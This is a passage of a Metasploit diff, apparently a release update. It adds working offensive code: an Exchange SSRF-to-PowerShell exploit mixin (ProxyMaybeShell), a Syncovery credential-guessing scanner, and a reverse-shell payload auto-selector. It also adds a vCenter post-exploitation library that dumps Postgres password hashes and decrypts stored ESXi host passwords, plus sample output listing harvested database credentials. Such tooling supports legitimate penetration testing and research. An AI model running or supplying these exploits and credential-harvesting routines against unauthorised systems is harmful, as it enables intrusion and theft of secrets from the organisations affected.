[+] posgres database creds found: cns, md5d92e4534c059354dee12a7cc9a79faff
|
||||
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for 127.0.0.1:postgres
|
||||
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for localhost:VCDB
|
||||
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for 127.0.0.1:VCDB
|
||||
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for /var/run/vpostgres:VCDB
|
||||
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for /var/run/vpostgres:postgres
|
||||
[+] Saving the /root/.pgpass contents to /root/.msf4/loot/20221102165131_default_2.2.2.2_.pgpass_509065.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -0,0 +1,59 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module pulls a user's proxy settings. If neither RHOST or SID
|
||||
are set it pulls the current user, else it will pull the user's settings
|
||||
for the specified SID and target host.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a session on a Windows host
|
||||
1. Do: `use post/windows/gather/enum_proxy`
|
||||
1. Do: `set session <session id>`
|
||||
1. Do: `run`
|
||||
1. You should receive system proxy information
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### RHOST
|
||||
|
||||
Remote host to clone settings to (defaults to local)
|
||||
|
||||
### SID
|
||||
|
||||
SID of user to clone settings to (SYSTEM is S-1-5-18) (default: blank)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2016 (x86_64)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_proxy
|
||||
msf6 post(windows/gather/enum_proxy) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_proxy) > run
|
||||
|
||||
[*] Proxy Counter = 3
|
||||
[*] Setting: WPAD and Proxy server
|
||||
[*] Proxy Server: http=127.0.0.1:80;https=127.0.0.1:80;ftp=127.0.0.1:80
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
### Windows 7 SP1 (x86_64)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_proxy
|
||||
msf6 post(windows/gather/enum_proxy) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_proxy) > run
|
||||
|
||||
[*] Proxy Counter = 77
|
||||
[*] Setting: WPAD, Proxy server and AutoConfigure script
|
||||
[*] Proxy Server: http=127.0.0.1:8080;https=127.0.0.1:8080;ftp=127.0.0.1:8080
|
||||
[*] AutoConfigURL: http://corp.local/wpad.dat
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/gather/enum_proxy) >
|
||||
```
|
||||
@@ -13,7 +13,7 @@ class ManagedRemoteDataService
|
||||
include Singleton
|
||||
|
||||
#
|
||||
# Returns true if the the managed data service process is running.
|
||||
# Returns true if the managed data service process is running.
|
||||
#
|
||||
def running?
|
||||
return @running
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
require 'json'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
class SyncoveryFileSyncBackup < HTTP
|
||||
|
||||
DEFAULT_PORT = 8999 # HTTP=8999; HTTPS=8943
|
||||
PRIVATE_TYPES = [ :password ].freeze
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
|
||||
|
||||
# Checks if the target is Syncovery File Sync & Backup Software. The login module should call this.
|
||||
#
|
||||
# @return [Boolean] TrueClass if target is Syncovery, otherwise FalseClass
|
||||
def check_setup
|
||||
login_uri = normalize_uri("#{uri}/")
|
||||
res = send_request({ 'uri' => login_uri })
|
||||
|
||||
if res && res.code == 200 && res.body.include?('Syncovery')
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Gets the Syncovery version.
|
||||
#
|
||||
# @return [String] version if version was found, otherwise FalseClass
|
||||
def get_version
|
||||
globals = normalize_uri("#{uri}/get_global_variables")
|
||||
res = send_request({ 'uri' => globals })
|
||||
if res && res.code == 200
|
||||
json_res = res.get_json_document
|
||||
version = json_res['SyncoveryTitle']&.scan(/Syncovery\s([A-Za-z0-9.]+)/)&.flatten&.first || ''
|
||||
return version
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Actually doing the login. Called by #attempt_login
|
||||
#
|
||||
# @param username [String] The username to try
|
||||
# @param password [String] The password or token to try
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body or the session token
|
||||
def get_login_state(username, password)
|
||||
# Prep the data needed for login
|
||||
if username.empty?
|
||||
# no username => token is used as password
|
||||
res = send_request({
|
||||
'uri' => normalize_uri("#{uri}/profiles.json"),
|
||||
'vars_get' => {
|
||||
'recordstartindex' => '0',
|
||||
'recordendindex' => '0'
|
||||
},
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'token' => password
|
||||
}
|
||||
})
|
||||
unless res
|
||||
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: res.to_s }
|
||||
end
|
||||
if !res.body.to_s.include? 'Session Expired'
|
||||
return { status: LOGIN_STATUS::SUCCESSFUL, proof: res.body.to_s }
|
||||
end
|
||||
|
||||
return { proof: res.body.to_s }
|
||||
else
|
||||
# use username:password
|
||||
res = send_request({
|
||||
'uri' => normalize_uri("#{uri}/post_applogin.php"),
|
||||
'vars_get' => {
|
||||
'login' => username.to_s,
|
||||
'password' => password.to_s
|
||||
},
|
||||
'method' => 'GET'
|
||||
})
|
||||
unless res
|
||||
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT }
|
||||
end
|
||||
|
||||
# After login, the application should give us a new token
|
||||
# session_token is actually just base64(MM/dd/yyyy HH:mm:ss) at the time of the login
|
||||
json_res = res.get_json_document
|
||||
token = json_res['session_token']
|
||||
if token.present?
|
||||
return { status: LOGIN_STATUS::SUCCESSFUL, proof: token.to_s }
|
||||
end
|
||||
|
||||
return { proof: res.to_s }
|
||||
end
|
||||
end
|
||||
|
||||
# Attempts to login to Syncovery File Sync & Backup Software. This is called first.
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
result_opts.merge!(get_login_state(credential.public, credential.private))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.2.28"
|
||||
VERSION = "6.2.30"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -0,0 +1,207 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'winrm'
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptFloat.new('MaxBackendRetries', [true, 'The maximum number of times to retry for targeting the backend', 10]),
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def execute_powershell(cmdlet, args: [], cat: nil)
|
||||
winrm = SSRFWinRMConnection.new({
|
||||
endpoint: full_uri('PowerShell/'),
|
||||
transport: :ssrf,
|
||||
max_backend_retries: datastore['MaxBackendRetries'].to_i,
|
||||
ssrf_proc: proc do |method, uri, opts|
|
||||
uri = "#{uri}?X-Rps-CAT=#{cat}" if cat
|
||||
opts[:data].gsub!(
|
||||
%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
|
||||
"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
|
||||
)
|
||||
opts[:data].gsub!(
|
||||
%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
|
||||
"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
|
||||
)
|
||||
res = send_http(method, uri, opts)
|
||||
raise WinRM::WinRMAuthorizationError.new('Server responded with 401 Unauthorized.') if res&.code == 401
|
||||
|
||||
res
|
||||
end
|
||||
})
|
||||
|
||||
successful = true
|
||||
begin
|
||||
winrm.shell(:powershell) do |shell|
|
||||
shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
|
||||
shell.extend(SSRFWinRMConnection::PowerShell)
|
||||
shell.run({ cmdlet: cmdlet, args: args }) do |stdout, stderr|
|
||||
unless stdout.blank?
|
||||
vprint_line('PSRP output received:')
|
||||
vprint_line(stdout)
|
||||
end
|
||||
unless stderr.blank?
|
||||
successful = false
|
||||
vprint_error('PSRP error received:')
|
||||
vprint_line(stderr)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue WinRM::WinRMAuthorizationError => e
|
||||
fail_with(Msf::Exploit::Failure::NoAccess, e.message)
|
||||
rescue WinRM::WinRMError => e
|
||||
vprint_error("Exception: #{e.message}")
|
||||
successful = false
|
||||
rescue Msf::Exploit::Failed => e
|
||||
raise e
|
||||
rescue RuntimeError => e
|
||||
print_error("Exception: #{e.inspect}")
|
||||
successful = false
|
||||
end
|
||||
|
||||
successful
|
||||
end
|
||||
|
||||
def send_http(method, uri, opts = {})
|
||||
request = {
|
||||
'method' => method,
|
||||
'uri' => uri,
|
||||
'agent' => datastore['UserAgent'],
|
||||
'ctype' => opts[:ctype],
|
||||
'cookie' => opts[:cookie],
|
||||
'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
|
||||
}
|
||||
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
|
||||
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
|
||||
request = request.merge(opts[:authentication]) unless opts[:authentication].nil?
|
||||
|
||||
begin
|
||||
received = send_request_cgi(request)
|
||||
rescue Errno::ECONNRESET => e
|
||||
fail_with(Msf::Exploit::Failure::Disconnected, 'Server reset the connection.')
|
||||
end
|
||||
|
||||
fail_with(Msf::Exploit::Failure::TimeoutExpired, 'Server did not respond in an expected way.') unless received
|
||||
|
||||
received
|
||||
end
|
||||
|
||||
class XMLTemplate
|
||||
def self.render(template_name, context = nil)
|
||||
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxymaybeshell', "#{template_name}.xml.erb")
|
||||
template = ::File.binread(file_path)
|
||||
case context
|
||||
when Hash
|
||||
b = binding
|
||||
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
|
||||
b.eval(locals.join)
|
||||
when NilClass
|
||||
b = binding
|
||||
else
|
||||
raise ArgumentError
|
||||
end
|
||||
b.eval(Erubi::Engine.new(template).src)
|
||||
end
|
||||
end
|
||||
|
||||
class SSRFWinRMConnection < WinRM::Connection
|
||||
class MessageFactory < WinRM::PSRP::MessageFactory
|
||||
def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
|
||||
WinRM::PSRP::Message.new(
|
||||
runspace_pool_id,
|
||||
WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
|
||||
XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
|
||||
pipeline_id
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
# we have to define this class so we can define our own transport factory that provides one backed by the SSRF
|
||||
# vulnerability
|
||||
class TransportFactory < WinRM::HTTP::TransportFactory
|
||||
class HttpSsrf < WinRM::HTTP::HttpTransport
|
||||
# rubocop:disable Lint/
|
||||
def initialize(endpoint, options)
|
||||
@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
|
||||
@ssrf_proc = options[:ssrf_proc]
|
||||
# this tracks the backend target, the PSRP session needs to communicate with one target
|
||||
# this would be the case if Exchange Data Access Group (DAG) is in use
|
||||
@backend = nil
|
||||
@max_backend_attempts = [options.fetch(:max_backend_retries, 10) + 1, 1].max
|
||||
end
|
||||
|
||||
def send_request(message)
|
||||
resp = nil
|
||||
@max_backend_attempts.times do
|
||||
resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })
|
||||
|
||||
if resp.code == 500 && resp.headers['X-CalculatedBETarget'] != @backend
|
||||
# retry the request if it failed and the backend was different than the target
|
||||
next
|
||||
end
|
||||
|
||||
break
|
||||
end
|
||||
|
||||
if resp&.code == 200 && @backend.nil?
|
||||
@backend = resp.headers['X-CalculatedBETarget']
|
||||
end
|
||||
|
||||
WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
|
||||
end
|
||||
|
||||
attr_reader :backend
|
||||
end
|
||||
|
||||
def create_transport(connection_opts)
|
||||
raise NotImplementedError unless connection_opts[:transport] == :ssrf
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def init_ssrf_transport(opts)
|
||||
HttpSsrf.new(opts[:endpoint], opts)
|
||||
end
|
||||
end
|
||||
|
||||
module PowerShell
|
||||
def send_command(command, _arguments)
|
||||
command_id = SecureRandom.uuid.to_s.upcase
|
||||
message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
|
||||
fragmenter.fragment(message) do |fragment|
|
||||
command_args = [connection_opts, shell_id, command_id, fragment]
|
||||
if fragment.start_fragment
|
||||
resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
|
||||
command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
|
||||
else
|
||||
transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
|
||||
end
|
||||
end
|
||||
|
||||
command_id
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(connection_opts)
|
||||
# these have to be set to truthy values to pass the option validation, but they're not actually used because hax
|
||||
connection_opts.merge!({ user: :ssrf, password: :ssrf })
|
||||
super(connection_opts)
|
||||
end
|
||||
|
||||
def transport
|
||||
@transport ||= begin
|
||||
transport_factory = TransportFactory.new
|
||||
transport_factory.create_transport(@connection_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -69,7 +69,7 @@ module Msf::Exploit::Remote::HTTP::NagiosXi::Install
|
||||
#
|
||||
# @param cookies [String] cookies required to visit the license agreement page
|
||||
# @param nsp [String] nsp token required to visit the license agreement page
|
||||
# @return [nil, Array] nil if signing the the license agreement succeeds, otherwise Array containing an error code and an error message
|
||||
# @return [nil, Array] nil if signing the license agreement succeeds, otherwise Array containing an error code and an error message
|
||||
def sign_license_agreement(cookies, nsp)
|
||||
if cookies.blank?
|
||||
return [2, 'Cannot sign the license agreement. The provided cookies are empty or nil.']
|
||||
|
||||
@@ -463,6 +463,66 @@ class Payload < Msf::Module
|
||||
return nops
|
||||
end
|
||||
|
||||
# Select a reasonable default payload and minimally configure it
|
||||
# @param [Msf::Module] mod
|
||||
def self.choose_payload(mod)
|
||||
compatible_payloads = mod.compatible_payloads(
|
||||
excluded_platforms: ['Multi'] # We don't want to select a multi payload
|
||||
).map(&:first)
|
||||
|
||||
# XXX: Determine LHOST based on global LHOST, RHOST or an arbitrary internet address
|
||||
lhost = mod.datastore['LHOST'] || Rex::Socket.source_address(mod.datastore['RHOST'] || '50.50.50.50')
|
||||
|
||||
configure_payload = lambda do |payload|
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
payload_defaults = { 'PAYLOAD' => payload }
|
||||
|
||||
# Set LHOST if this is a reverse payload
|
||||
if payload.index('reverse')
|
||||
payload_defaults['LHOST'] = lhost
|
||||
end
|
||||
mod.datastore.import_defaults_from_hash(payload_defaults, imported_by: 'choose_payload')
|
||||
else
|
||||
mod.datastore['PAYLOAD'] = payload
|
||||
# Set LHOST if this is a reverse payload
|
||||
if payload.index('reverse')
|
||||
mod.datastore['LHOST'] = lhost
|
||||
end
|
||||
end
|
||||
|
||||
payload
|
||||
end
|
||||
|
||||
# If there is only one compatible payload, return it immediately
|
||||
if compatible_payloads.length == 1
|
||||
return configure_payload.call(compatible_payloads.first)
|
||||
end
|
||||
|
||||
# XXX: This approach is subpar, and payloads should really be ranked!
|
||||
preferred_payloads = [
|
||||
# These payloads are generally reliable and common enough in practice
|
||||
'/meterpreter/reverse_tcp',
|
||||
'/shell/reverse_tcp',
|
||||
'cmd/unix/reverse_bash',
|
||||
'cmd/unix/reverse_netcat',
|
||||
'cmd/windows/powershell_reverse_tcp',
|
||||
# Fall back on a generic payload to autoselect a specific payload
|
||||
'generic/shell_reverse_tcp',
|
||||
'generic/shell_bind_tcp'
|
||||
]
|
||||
|
||||
# XXX: This is not efficient in the slightest
|
||||
preferred_payloads.each do |type|
|
||||
payload = compatible_payloads.find { |name| name.end_with?(type) }
|
||||
|
||||
next unless payload
|
||||
|
||||
return configure_payload.call(payload)
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# A placeholder stub, to be overriden by mixins
|
||||
#
|
||||
|
||||
@@ -0,0 +1,308 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Vcenter
|
||||
module Database
|
||||
include Msf::Post::File
|
||||
|
||||
def pgpass_file
|
||||
'/root/.pgpass'
|
||||
end
|
||||
|
||||
def psql_bin
|
||||
'/opt/vmware/vpostgres/current/bin/psql'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a array of hashes of the .pgpass file
|
||||
# @param location [String] where the file is located. defaults to /root/.pgpass
|
||||
# @return [Array] array of hashes of the file contents, nil on error
|
||||
#
|
||||
def process_pgpass_file(location = pgpass_file)
|
||||
return nil unless file_exist?(location)
|
||||
|
||||
contents = read_file(location)
|
||||
return nil if contents.nil?
|
||||
return nil if contents.empty?
|
||||
|
||||
output = []
|
||||
contents.each_line(chomp: true) do |line|
|
||||
# file format hostname:port:database:username:password
|
||||
# https://www.postgresql.org/docs/current/libpq-pgpass.html
|
||||
next unless line.include?(':') # attempt to do a little quality control
|
||||
|
||||
sections = line.split(':')
|
||||
o = {}
|
||||
o['hostname'] = sections[0].strip
|
||||
o['port'] = sections[1].strip
|
||||
o['database'] = sections[2]
|
||||
o['username'] = sections[3]
|
||||
o['password'] = sections[4]
|
||||
|
||||
o['port'] = '5432' if o['port'] == '*'
|
||||
output.append(o)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of postgres users and password hashes from the database
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def query_pg_shadow_values(pg_password, vcdb_user, vcdb_name)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
postgres_users = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT usename, passwd FROM pg_shadow;' -P pager -A -t")
|
||||
return nil if postgres_users.nil?
|
||||
|
||||
postgres_users = postgres_users.split("\n")
|
||||
return nil unless postgres_users.first
|
||||
|
||||
postgres_users.each do |postgres_user|
|
||||
row_data = postgres_user.split('|')
|
||||
next if row_data.length < 2 # shoudld always be 2 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
user = {
|
||||
'user' => row_data[0],
|
||||
'password_hash' => row_data[1]
|
||||
}
|
||||
|
||||
output.append(user)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of postgres users and password hashes from the database
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def query_pg_shadow_values(pg_password, vcdb_user, vcdb_name)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
postgres_users = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT usename, passwd FROM pg_shadow;' -P pager -A -t")
|
||||
return nil if postgres_users.nil?
|
||||
|
||||
postgres_users = postgres_users.split("\n")
|
||||
return nil unless postgres_users.first
|
||||
|
||||
postgres_users.each do |postgres_user|
|
||||
row_data = postgres_user.split('|')
|
||||
next if row_data.length < 2 # shoudld always be 2 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
user = {
|
||||
'user' => row_data[0],
|
||||
'password_hash' => row_data[1]
|
||||
}
|
||||
|
||||
output.append(user)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of vpx users and password hashes from the database
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param symkey [String] string of they symkey
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def query_vpx_creds(pg_password, vcdb_user, vcdb_name, symkey = nil)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
vpx_creds = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT user_name, password, local_ip_address, ip_address, dns_name FROM VPX_HOST;' -P pager -A -t")
|
||||
return nil if vpx_creds.nil?
|
||||
|
||||
vpx_creds = vpx_creds.split("\n")
|
||||
return nil unless vpx_creds.first
|
||||
|
||||
vpx_creds.each do |vpx_user|
|
||||
row_data = vpx_user.split('|')
|
||||
next if row_data.length < 2 # shoudld always be 2 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
user = {
|
||||
'user' => row_data[0],
|
||||
'encrypted_password' => row_data[1],
|
||||
'local_ip' => row_data[2],
|
||||
'ip_address' => row_data[3],
|
||||
'dns_name' => row_data[4]
|
||||
}
|
||||
unless symkey.nil?
|
||||
# https://github.com/shmilylty/vhost_password_decrypt/blob/main/decrypt.py
|
||||
# https://pentera.io/blog/information-disclosure-in-vmware-vcenter/
|
||||
encrypted_password = row_data[1].gsub('*', '').strip
|
||||
encrypted_password = Base64.decode64(encrypted_password)
|
||||
encrypted_password = encrypted_password.scan(/.{16}/)
|
||||
|
||||
iv = encrypted_password.shift
|
||||
encrypted_password = encrypted_password.join
|
||||
begin
|
||||
cipher = OpenSSL::Cipher.new('aes-256-cbc')
|
||||
cipher.decrypt
|
||||
cipher.key = [symkey.strip].pack('H*')
|
||||
cipher.iv = iv
|
||||
user['decrypted_password'] = cipher.update(encrypted_password) + cipher.final
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
vprint_error("Unable to decrypt password for #{user} due to OpenSSL Cipher Error: #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
output.append(user)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# A helper function to return the command line statement string to connect to the postgress server
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param vcdb_host [String] virtual center hostname. Defaults to 'localhost'
|
||||
# @return [String] a string to run on command line
|
||||
#
|
||||
def postgress_connect(pg_password, vcdb_user, vcdb_name, vcdb_host = 'localhost')
|
||||
# should come in wrapped in quotes, but if not wrap
|
||||
unless pg_password.start_with?("'") && pg_password.end_with?("'")
|
||||
pg_password = "'#{pg_password}'"
|
||||
end
|
||||
"PGPASSWORD=#{pg_password} #{psql_bin} -h '#{vcdb_host}' -U '#{vcdb_user}' -d '#{vcdb_name}'"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of vpc customization contents
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @return [Hash] where the customization name is the key and value is the parsed xml doc, nil on error
|
||||
#
|
||||
def get_vpx_customization_spec(pg_password, vcdb_user, vcdb_name)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = {}
|
||||
vpx_customization_specs = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT DISTINCT name FROM vc.vpx_customization_spec;' -P pager -A -t")
|
||||
return nil if vpx_customization_specs.nil?
|
||||
|
||||
vpx_customization_specs = vpx_customization_specs.split("\n")
|
||||
return nil unless vpx_customization_specs.first
|
||||
|
||||
vpx_customization_specs.each do |spec|
|
||||
xml = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c \"SELECT body FROM vpx_customization_spec WHERE name = '#{spec}\';\" -P pager -A -t").to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
|
||||
next if xml.nil?
|
||||
|
||||
begin
|
||||
xmldoc = Nokogiri::XML(xml) do |config|
|
||||
config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
|
||||
end
|
||||
rescue Nokogiri::XML::SyntaxError
|
||||
print_bad("Unable to read XML from #{spec}")
|
||||
next
|
||||
end
|
||||
output[spec] = xmldoc
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of virtual machines located on the server
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param vc_sym_key [String] sym key from virtual center
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def get_vpx_vms(pg_password, vcdb_user, vcdb_name, _vc_sym_key)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
vm_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT vmid, name, configfilename, guest_state, is_template FROM vpxv_vms;' -P pager -A -t")
|
||||
return nil if vm_rows.nil?
|
||||
|
||||
vm_rows = vm_rows.split("\n")
|
||||
return nil unless vm_rows.first
|
||||
|
||||
vm_rows.each do |vm_row|
|
||||
row_data = vm_row.split('|')
|
||||
next if row_data.length < 5 # shoudld always be 5 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
vm = {
|
||||
'vmid' => row_data[0],
|
||||
'name' => row_data[1],
|
||||
'configfilename' => row_data[3],
|
||||
'guest_state' => row_data[4],
|
||||
'is_template' => row_data[5]
|
||||
}
|
||||
output.append(vm)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of vpc customization contents
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param vc_sym_key [String] sym key from virtual center
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def get_vpx_users(pg_password, vcdb_user, vcdb_name, vc_sym_key)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
vpxuser_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT dns_name, ip_address, user_name, password FROM vc.vpx_host ORDER BY dns_name ASC;' -P pager -A -t")
|
||||
return nil if vpxuser_rows.nil?
|
||||
|
||||
vpxuser_rows = vpxuser_rows.split("\n")
|
||||
return nil unless vpxuser_rows.first
|
||||
|
||||
vpxuser_rows.each do |vpxuser_row|
|
||||
row_data = vpxuser_row.split('|')
|
||||
next if row_data.length < 4 # shoudld always be 4 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
user = {
|
||||
'fqdn' => row_data[0],
|
||||
'ip' => row_data[1],
|
||||
'user' => row_data[2]
|
||||
}
|
||||
|
||||
vpxuser_secret_b64 = row_data[3].gsub('*', '')
|
||||
user['password'] = vpx_aes_decrypt(vpxuser_secret_b64, vc_sym_key).gsub('\"', '"')
|
||||
output.append(user)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# helper function to decrypt passwords stored in the pg database
|
||||
# @param b64 [String] base64 string of the password exported from postgres
|
||||
# @param vc_sym_key [String] sym key from virtual center
|
||||
# @return [String] the decrypted password, nil on error
|
||||
|
||||
def vpx_aes_decrypt(b64, vc_sym_key)
|
||||
# https://www.pentera.io/wp-content/uploads/2022/03/Sensitive-Information-Disclosure_VMware-vCenter_f.pdf
|
||||
secret_bytes = Base64.strict_decode64(b64)
|
||||
iv = secret_bytes[0, 16]
|
||||
ciphertext = secret_bytes[16, 64]
|
||||
decipher = OpenSSL::Cipher.new('aes-256-cbc')
|
||||
decipher.decrypt
|
||||
decipher.iv = iv
|
||||
decipher.padding = 1
|
||||
decipher.key = vc_sym_key
|
||||
return (decipher.update(ciphertext) + decipher.final).delete("\000")
|
||||
rescue StandardError => e
|
||||
elog('Error performing vpx_aes_decrypt', error: e)
|
||||
''
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -5,6 +5,7 @@ module Msf
|
||||
